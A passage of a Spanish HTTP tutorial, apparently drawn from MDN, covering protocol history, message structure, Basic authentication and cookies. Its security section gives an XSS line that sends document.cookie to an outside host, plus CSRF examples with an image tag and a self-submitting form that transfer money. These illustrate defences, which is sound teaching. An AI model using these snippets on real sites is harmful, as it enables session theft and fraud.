1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus
sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web
(e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados
entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó
hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para
resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3.

Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la
Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico,
pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para
obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos
o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones
que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener
acceso a más y mayor información personal como contactos, e-mails, o posición geográfica
del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del
ámbito del comercio electrónico.

Uso de HTTP para aplicaciones complejas

La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura.
Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma
remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había
desarrollado para permitir la autoría, y fue creado un estándar denominado WebDAB. Este
fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros
de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones
'*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para
poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante
acotado.

En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés:
'Representational State Transfer'). Las acciones de la nueva API, no estaban supeditadas a
nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1).
Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la
recuperación y modificación de datos, sin tener que actualizar servidores o navegadores;
todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La
contrapartida del modelo REST está en que cada sitio Web define su propia versión no
estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV
donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy
común a partir del año 2010.

Desde el año 2005, las APIs disponibles para páginas Web han aumentado
considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP
específicas para funciones concretas:
  Eventos enviados por el servidor: El servidor es el que ocasionalmente inicia los
mensajes hacia el navegador.
 WebSocket (en-US), un nuevo protocolo que puede establecerse actualizando una
conexión HTTP existente.

Relajación del modelo de seguridad de la Web

El protocolo HTTP es independiente del modelo de seguridad de la Web: la política del

mismo origen. De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con
posterioridad a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil,
poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan
levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones
se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas
cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del
inglés Cross-Origin Resource Sharing, que viene a significar: recursos compartidos de
orígenes cruzados) y el CSP (del inglés: Content Security Policy (en-US) , que traducido es:
política de seguridad de contenidos).

Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas
unicamente experimentales. Algunas de ellas notables son: Do Not Track (DNT (en-US));
cabecera de control de privacidad: X-Frame-Options, y Upgrade-Insecure-Requests (en-
US).

HTTP/2 – Un protocolo para un mayor rendimiento

A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso
llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de
contenido visual, el tamaño de los scripts, y los scripts que añaden interactividad ha
aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas
peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden
correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente
entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el
HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web.

En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el

intercambio de data entre clientes y servidores, implementando el protocolo experimental
SPDY (pronunciado como en inglés 'speedy'). Este atrajo mucho interés por los
desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los
tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY
sirvió como base para el desarrollo del protocolo HTTP/2.

El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión

anterior HTTP/1.1

 Es un protocolo binario, en contraposición a estar formado por cadenas de texto, tal

y como estában basados sus protocolos anteriores. Así pues no se puede leer
 directamente, ni crear manualmente A pesar de este inconveniente, gracias a este
cambio es posible utilizar en él técnicas de optimización.
 Es un protocolo multiplexado. Peticiones paralelas pueden hacerse sobre la misma
connexión, no está sujeto pues a mantener el orden de los mensajes, ni otras
restricciónes que tenian los protocolos anteriores HTTP/1.x
 Comprime las cabeceras, ya que estas, normalmente son similares en un grupo de
peticiones. Esto elimina la duplicación y retardo en los datos a transmitir.
 Esto permite al servidor almacenar datos en la caché del cliente, previamente a que
estos sean pedidos, mediante un mecanismo denominado 'server push'.

Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos.

En Julio de 2016, un 8.7% de todos los sitios Web[1] estaban usandolo ya, representando
más del 68% de todo su tráfico[2]. Los sitios Web con mucho tráfico, fueron aquellos que
lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la
transferencia de datos, ... y en sus presupuestos.

Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación
de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos.
El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente
para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización;
y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que
requiera un mayor esfuerzo de los desarrolladores Web.

Post-evolución del HTTP/2

Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar.
Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para
añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características
que se desarrollaron en el año 2016:

 Soporte de la cabecera Alt-Svc (en-US), la cual permite disociar la identificación de

una ubicación, con respecto a un recurso pedido, permitiendo el uso más inteligente
de los mecanismos de cacheo de memoria de los CDN.
 La introducción de la cabecera Client-Hints, que permíte al navegador, o cliente,
comunicar proactivamente al servidor, sus necesidades o restricciones de hardware.
 La introducción de prefijos de seguridad en la cabecera Cookie, esto ayuda a
garantizar que una cookie, no ha sido alterada.

Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo

así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este
protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a
principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una
obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la
necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y
extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante
futuro.
 Mensajes HTTP
Los mensajes HTTP, son los medios por los cuales se intercambian datos
entre servidores y clientes. Hay dos tipos de mensajes: peticiones,
enviadas por el cliente al servidor, para pedir el inicio de una acción;
y respuestas, que son la respuesta del servidor.

Los mensajes HTTP están compuestos de texto, codificado en ASCII, y

pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas
del protocolo, estos mensajes eran enviados de forma abierta a través
de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran
legibles directamente, se conforman mediante tramas binarias
codificadas para aumentar la optimización y rendimiento de la
transmisión.

Los desarrolladores de páginas Web, o administradores de sitios Web,

desarrolladores... raramente codifican directamente estos mensajes
HTTP. Normalmente especifican estos mensajes HTTP, mediante
archivos de configuración (para proxies, y servidores), APIs (para
navegadores) y otros medios.

El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que

no necesite ninguna modificación de las APIs o archivos de configuración
utilizados: es totalmente transparente para el usuario.

Las peticiones y respuestas HTTP, comparten una estructura similar,

compuesta de:
 1. Una línea de inicio ('start-line' en inglés) describiendo la petición a
ser implementada, o su estado, sea de éxito o fracaso. Esta línea
de comienzo, es siempre una única línea.
2. Un grupo opcional de cabeceras HTTP, indicando la petición o
describiendo el cuerpo ('body' en inglés) que se incluye en el
mensaje.
3. Una línea vacía ('empty-line' en inglés) indicando toda la meta-
información ha sido enviada.
4. Un campo de cuerpo de mensaje opcional ('body' en inglés) que
lleva los datos asociados con la petición (como contenido de un
formulario HTML), o los archivos o documentos asociados a una
respuesta (como una página HTML, o un archivo de audio, vídeo ...
) . La presencia del cuerpo y su tamaño es indicada en la línea de
inicio y las cabeceras HTTP.

La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas

como la cabeza de la peticiones, mientras que su contenido en datos se
conoce como el cuerpo del mensaje.

Peticiones HTTP
Línea de inicio

Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el
servidor. Su línea de inicio está formada por tres elementos:

1. Un método HTTP, un verbo como: GET, PUT o POST) o un nombre como: HEAD (en-
US) o OPTIONS (en-US)), que describan la acción que se pide sea realizada. Por
ejemplo, GET indica que un archivo ha de ser enviado hacia el cliente,
o POST indica que hay datos que van a ser enviados hacia el servidor (creando o
modificando un recurso, o generando un documento temporal para ser enviado).
2. El objetivo de una petición, normalmente es una URL, o la dirección completa del
protocolo, puerto y dominio también suelen ser especificados por el contexto de la
 petición. El formato del objetivo de la petición varia según los distintos métodos
HTTP. Puede ser:
 Una dirección absoluta, seguida de un signo de cierre de interrogación '?' y
un texto de consulta. Este es el formato más comun, conocido como el
formato original ('origin form' en inglés), se usa en los
métodos GET, POST, HEAD, y OPTIONS . POST / HTTP 1.1 GET
/[Link] HTTP/1.0 HEAD /[Link]?query=alibaba HTTP/1.1
OPTIONS /[Link] HTTP/1.0
 Una URL completa; conocido como el formato absoluto, usado mayormente
con GET cuando se conecta a un proxy. GET
[Link] HTTP/1.1
 El componente de autoriade de una URL, formado por el nombre del
domínio y opcionalmente el puerto (el puerto precedido por el simbolo ':' ),
se denomina a este formato como el formato de autoridad. Unicamente se
usa con CONNECT cuando se establece un tunel HTTP. CONNECT
[Link] HTTP/1.1
 El formato de asterisco, se utliza un asterisco ('*') junto con las
opciones: OPTIONS , representando al servidor entero en conjunto. OPTIONS
* HTTP/1.1
3. la versión de HTTP, la cual define la estructura de los mensajes, actuando como
indicador, de la versión que espera que se use para la respuesta.

Cabeceras

Las cabeceras HTTP de una petición siguen la misma estructura que la de una cabecera
HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por
dos puntos (':') y un valor cuya estructura depende de la cabecera. La cabecera completa,
incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga.

Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos:

 Cabeceras generales, ('General headers' en inglés), como Via (en-US), afectan al

mensaje como una unidad completa.
 Cabeceras de petición, ('Request headers' en inglés), como User-Agent, Accept-
Type, modifican la petición especificándola en mayor detalle ( como: Accept-
Language (en-US), o dándole un contexto, como: Referer, o restringiéndola
condicionalmente, como: If-None.
 Cabeceras de entidad, ('Entity headers' en ingles), como Content-Length las cuales
se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser
transmitida si el mensaje no tiene cuerpo ('body' en inglés).
Cuerpo

La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones
que reclaman datos, como GET, HEAD, DELETE, o OPTIONS, normalmente, no necesitan
ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de
actualizarlo: como es el caso con la petición POST (que contiene datos de un formulario
HTML).

Los cuerpos pueden ser dividos en dos categorias:

 Cuerpos con un único dato, que consisten en un único archivo defindo por las dos
cabeceras: Content-Type y Content-Length.
 Cuerpos con múltiples datos, que están formados por distintos contenidos,
normalmente estan asociados con los formularios HTML (en-US).

Respuestas HTTP
Línea de estado

La línea de inicio de una respuesta HTTP, se llama la línea de estado, y contienen la

siguiente información:

1. La versión del protocolo, normalmente HTTP/1.1.

2. Un código de estado, indicando el éxito o fracaso de la petición. Códigos de estado
muy comunes son: 200, 404, o 302
3. Un texto de estado, que es una breve descripción, en texto, a modo informativo, de
lo que significa el código de estado, con el fin de que una persona pueda interpretar
el mensaje HTTP.

Una línea de estado típica es por ejemplo: HTTP/1.1 404 Not Found.

Cabeceras
Las cabeceras HTTP para respuestas siguen también la misma estructura como cualquier
otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas,
seguida por dos puntos (':') y un valor cuya estructura depende del tipo de cabecera. Toda la
cabecera incluido su valor, se ha de expresar en una única línea.

Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos:

 Cabeceras generales, ('General headers' en inglés), como Via (en-US), afectan al

mensaje completo.
 Cabeceras de petición, ('Request headers' en inglés), como Vary , Accept-Ranges,
dan información adicional sobre el servidor, que no tiene espacio en la línea de
estado.
 Cabeceras de entidad, ('Entity headers' en ingles), como Content-Length las cuales
se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser
transmitida si el mensaje no tiene cuerpo ('body' en inglés).

Cuerpo

La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno,
respuestas con un código de estado como 201 o 204 (en-US) normalmente prescinden de él.

De forma general, los cuerpos se pueden diferenciar en tres categorias:

 Cuerpos con un único dato, consisten en un simple archivo, de longitud conocida y

definido en las cabeceras: Content-Type y Content-Length.
 Cuerpos con un único dato, consisten en un simple archivo, de longitud
desconocida, y codificado en partes, indicadas con Transfer-
Encoding valor chunked (que significa: 'partido' en inglés).
 Cuerpos con múltiples datos, consisten de varios datos, cada uno con una sección
distinta de información. Este caso es relativamente raro y poco común.
Tramas HTTP/2
Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la
transmisión.

 Las cabeceras, al contrario de los cuerpos, no se comprimen.

 Las cabeceras, habitualmente se repiten de un mensaje al siguiente, aún así, la
cabecera se repite en todos los mensajes.
 No se puede multiplexar. Se han de abrir varias conexiones para el mismo servidor,
las conexiones TCP 'en caliente' ('warm TCP connections' en inglés) son más
eficientes que las conexiones 'en frio'.

HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un
flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite la
compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces
se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las
conexiónes TCP.
Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en
HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios
en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las
usan ambos: servidor y navegador.

Conclusión
Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente
ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia
entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se
construye sobre mecanismos de transmisión probados.
 Autenticación HTTP
HTTP nos brinda un marco general para el control de acceso y de
autenticación. El esquema de autenticación HTTP más común es la
autenticación "Basic". Esta página presenta el framework general de
autenticación HTTP y muestra cómo restringir el acceso a tu servidor con
la autenticación HTTP Basic.

El marco general de autenticación HTTP

RFC 7235 define el marco de autenticación HTTP que puede ser usado por un servidor para
revisar la solicitud de un cliente y por un cliente para proveer información de autenticación.
El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde
al cliente con un estado de respuesta 401 (Unauthorized) y devuelve al cliente información
sobre cómo autorizarse con un encabezado de respuesta WWW-Authenticate que contiene
al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo
incluyendo un encabezado de solicitud Authorization con sus credenciales. Normalmente
un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud
incluyendo el encabezado Authorization correcto al servidor.

En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio

se debe realizar sobre una conexión HTTPS (TLS) para que sea seguro.

Autenticación Proxy (Proxy Authentication)

El mismo mecanismo de desafío y respuesta puede ser usada para autenticación por
proxy. En este caso, es el proxy el que hace de intermediario y requiere la autenticación.
Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden
coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado
diferentes. En el caso de los proxys, el código de estado para requerir autenticación
es 407 (en-US) (Proxy Authentication Required), la cabecera de respuesta Proxy-
Authenticate (en-US) contiene al menos un requerimiento aplicable en el proxy, y la
cabecera de petición Proxy-Authorization (en-US) es usada para proveer la credencial en el
servidor proxy.

Prohibición de Acceso (Access Forbbiden)

Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a
un determinado recurso, el servidor respondera con el código de estado 403 Forbidden.
Diferente al código de estado 401 Unauthorized o 407 (en-US) Proxy Authentication
Required, donde la autenticación es imposible para ese usuario.

Cabeceras WWW-Authenticate y Proxy-Authenticate

Las cabeceras de respuesta WWW-Authenticate y Proxy-Authenticate (en-US) definen el

método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas
especifican que esquema de autenticación debe ser usado para que el cliente que quiera
autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente:

WWW-Authenticate: <type> realm=<realm>

Proxy-Authenticate: <type> realm=<realm>

En el ejemplo, <type> es el esquema de autenticación ("Basic" es el esquema de

autenticación mas usado e introducido en esta página mas abajo). La palabra realm es usada
para describir el área que protegida o para indicar el alance de la protección. Puede ser un
mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que
el usuario sepa que espacio intenta acceder.

Cabeceras Authorization y Proxy-Authorization

La cabecera de consulta Authorization y Proxy-Authorization (en-US) contiene las

credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es
necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas
dependiendo de que tipo de esquema de autenticación se esté usando:

Authorization: <type> <credentials>

Proxy-Authorization: <type> <credentials>

Esquemas de autenticación
El marco general de autenticación HTTP es usado por varios esquemas de autenticación.
Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en
software de clientes o servidores.

El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle
abajo. IANA mantiene una lista de esquemas de autenticación, pero existen otros esquemas
ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de
autenticación incluídas:

 Basic (ver RFC 7617, credenciales codificadas en base64 . Ver mas abajo para mas
información.),
 Bearer (ver RFC 6750, bearer tokens de acceso en recursos protegidos mediante
OAuth 2.0),
 Digest (ver RFC 7616, has MD5 solo soportado en Firefox, ver Error 472823 en
Firefox para encriptado SHA),
 HOBA (ver RFC 7486 (borrador), HTTP Origin-Bound Authentication, basado en
firma digital),
 Mutual (ver draft-ietf-httpauth-mutual),
 AWS4-HMAC-SHA256 (ver AWS docs).

Esquema de autenticación Basic

El esquema de autenticación HTTP "Basic" está definido en RFC 7617, que transmite las
credenciales como un par usuario/contraseña codificado usando base64.

Seguridad de la autenticación básica

Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es
codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación
básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas
mejoras de seguridad, la autenticación básica no debe ser usada para proteger información
sensible o valiosa.

Restringiendo acceso con Apache y autenticación básica

Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los
ficheros .htaccess y .htpasswd.

El fichero .htaccess normalmente tiene esta forma:

AuthType Basic
AuthName "Access to the staging site"
AuthUserFile /path/to/.htpasswd
Require valid-user
El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un
nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este
ejemplo no puedes ver la contraseña porque está encriptada (utilizando md5 en este caso).
Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero
teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado
normalmente para prevenir el acceso a ficheros .ht*).

aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/

Restringiendo acceso con nginx y autenticación básica

En el caso de nginx necesitarás especificar la localización a proteger y usar la

directiva auth_basic, que provee el nombre del área protegida. La
directiva auth_basic_user_file apunta al fichero .htpasswd que contiene las credenciales de
usuario encriptadas, como en el ejemplo de Apache de mas arriba.

location /status {
auth_basic "Access to the staging site";
auth_basic_user_file /etc/apache2/.htpasswd;
}

Acceso usando credenciales en la URL

Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el

usuario y la contraseña codificados por la URL.

[Link]

El uso de estas URLs está obsoleto. En Chrome, la cadena usuario:contraseña@ dentro de

URLs incluso es cortadapor razones de seguridad. En Firefox se comprueba si el sitio
actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un
mensaje "Está a punto de iniciar sesión en el sitiio "[Link]" con el usuario
"username", pero el sitiio web no requiere autenticación. Puede ser un intento de
engañarlo.".

HTTP cookies
Una cookie HTTP, cookie web o cookie de navegador es una pequeña
pieza de datos que un servidor envía a el navegador web del usuario. El
navegador guarda estos datos y los envía de regreso junto con la nueva
petición al mismo servidor. Las cookies se usan generalmente para
decirle al servidor que dos peticiones tienen su origen en el mismo
navegador web lo que permite, por ejemplo, mantener la sesión de un
usuario abierta. Las cookies permiten recordar la información de estado
en vista a que el protocolo HTTP es un protocolo sin estado.
Las cookies se utilizan principalmente con tres propósitos:

Gestión de Sesiones

Inicios de sesión, carritos de compras, puntajes de juegos o

cualquier otra cosa que el servidor deba recordar

Personalización

Preferencias de usuario, temas y otras configuraciones

Rastreo

Guardar y analizar el comportamiento del usuario

Las cookies se usaron una vez para el almacenamiento general del lado
del cliente. Si bien esto era legítimo cuando eran la única forma de
almacenar datos en el cliente, hoy en día se recomienda preferir las API
de almacenamiento modernas. Las cookies se envían con cada solicitud,
por lo que pueden empeorar el rendimiento (especialmente para las
conexiones de datos móviles). Las APIs modernas para el
almacenamiento del cliente son la Web storage
API (localStorage y sessionStorage) e IndexedDB.

Nota: Para ver las cookies almacenadas (y otro tipo de almacenamiento

que una página web puede usar), puede habilitar el Inspector de
Almacenamiento en Herramientas del desarrollador y seleccionar
Cookies en el árbol de almacenamiento.

Creando cookies
Al recibir una solicitud HTTP, un servidor puede enviar un encabezado Set-Cookie con la
respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se
envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP Cookie. Se
puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la
cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que
limita el lugar donde se envía la cookie.

Los encabezados Set-Cookie y Cookie

El encabezado de respuesta HTTP Set-Cookie envía las cookies del servidor al agente de
usuario. Una cookie simple se establece así:

Set-Cookie: <nombre-cookie>=<valor-cookie>

Este encabezado del servidor le dice al cliente que almacene una cookie.
Nota: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado
del servidor:

 PHP
 [Link]
 Python
 Ruby on Rails

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies
almacenadas previamente al servidor utilizando el encabezado Cookie.

GET /sample_page.html HTTP/1.1

Host: [Link]
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de sesión

La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se

cierra, por que no se especificó una directiva Expires o Max-Age . Sin embargo, los
navegadores web pueden usar la restauración de sesiones, lo que hace que la mayoría de
las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.

Cookies Permanentes

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una
fecha específica (Expires) o tras un periodo de tiempo específico (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Nota: Cuando se establece una fecha de expiración, la fecha y hora que se establece es
relativa al cliente en el que se establece la cookie, no del servidor.

Cookies Secure y HttpOnly

Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo
HTTPS. Incluso con Secure, no debería almacenarse nunca información sensible en la
cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real.
A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer
cookies con la directiva Secure.

Para prevenir ataques cross-site scripting (XSS (en-US)), las cookies HttpOnly son
inaccesibles desde la API de Javascript [Link]; Solamente se envían al servidor.
Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar
disponibles para JavaScript, por lo que debería establecerse el flag HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Alcance de las cookies

Las directivas Domain y Path definen el alcance de la cookie: a qué URLs deberían
enviarse las cookies.

Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma
como valor por defecto el host del [Link] actual, (en-US) excluyendo
subdominios. Si se especifica Domain, los subdominios son siempre incluidos.

Por ejemplo, si se establece Domain=[Link], las cookies se incluyen en subdominios

como [Link].

Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El
carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios
también coincidirán.

Por ejemplo, si se establece Path=/docs estas rutas coincidirán:

 /docs
 /docs/Web/
 /docs/Web/HTTP

Cookies SameSite Experimental

Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con
solicitudes cross-site (donde Site (en-US) es definido por el dominio registrabe), lo que
proporciona algo de protección contra ataques cross-site request forgery (CSRF).

Las cookies SameSite son relativamente nuevas y soportadas por los principales
navegadores.

Aquí hay un ejemplo:

Set-Cookie: key=value; SameSite=Strict

El atributo same-site puede tomar uno de los dos valores (case-insensitive):

Strict

Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la
solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó
 desde una URL diferente que la URL del location actual, no se incluirá ninguna
cookie etiquetada con el atributo Strict.

Lax

Si el atributo se establece en Lax, las cookies same-site se retienen en

(sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero
se enviarán cuando un usuario navegue a la URL desde un sitio externo, por
ejemplo, siguiendo un enlace.

El comportamiento por defecto de este flag si no está establecido, o no está soportado por el
navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.

Acceso desde JavaScript usando [Link]

También se pueden crear nuevas cookies via JavaScript usando la

propiedad [Link], y si el flag HttpOnly no está establecido, también se puede
acceder a las cookies existentes desde JavaScript.

JSCopy to Clipboard
[Link] = "yummy_cookie=choco";
[Link] = "tasty_cookie=strawberry";
[Link]([Link]);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Tenga en cuenta las cuestiones de seguridad en la siguiente sección Seguridad. Las cookies
disponibles para JavaScript pueden ser robadas por medio de XSS.

Seguridad
Nota: Nunca se debe almacenar ni transmitir información confidecial o sensible mediante
Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.

Secuestro de session y XSS

Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su
sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión
del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería
social o la explotación de una vulnerabilidad XSS (en-US) de la aplicación.

JSCopy to Clipboard
new Image().src =
"[Link] + [Link];

El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor
de la cookie a través de JavaScript.
Cross-site request forgery (CSRF)

Wikipedia menciona buenos ejemplos para CSRF. En este caso, alguien puede incluir una
imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en
lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:

HTMLCopy to Clipboard
<img
src="[Link]
account=bob&amount=1000000&for=mallory" />

Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen
siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu
cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que
requieren una petición de tipo POST, se puede disparar un evento de tipo envío de
formulario (posiblemente en un iframe invisible) cuando la página se carga:

HTMLCopy to Clipboard
<form action="[Link] method="POST">
<input type="hidden" name="account" value="bob" />
<input type="hidden" name="amount" value="1000000" />
<input type="hidden" name="for" value="mallory" />
</form>
<script>
[Link]('DOMContentLoaded', (e) =>
{ [Link]('form').submit(); }
</script>

Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:

 Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se

debería requerir una petición POST. Además los endpoints POST no debería aceptar
la intercambiabilidad de aceptar peticiones GET con parametros en query string
 Un token CSRF debería ser incluido en cada elemento <form> mediante un input
oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en
una cookie). De esta forma el servidor puede mirar si el valor requerido es enviado,
y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo
esperado.
o Este método de protección recae en la imposibilidad de que un atacante pueda
predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este
token debería ser regenerado en cada inicio de sesión.
 Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.
 Debería de existir siempre un requerimiento de confirmación para cualquier acción
delicada,.
 Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve.
 Para más prevención visita OWASP CSRF prevention cheat sheet.

Rastreo y privacidad
Cookies de terceros

Las Cookies tienen un dominio asociado a ellas. Si este dominio es el mismo que el
dominio de la página en la que el cliente se encuentra, se llama cookie de origen. Si el
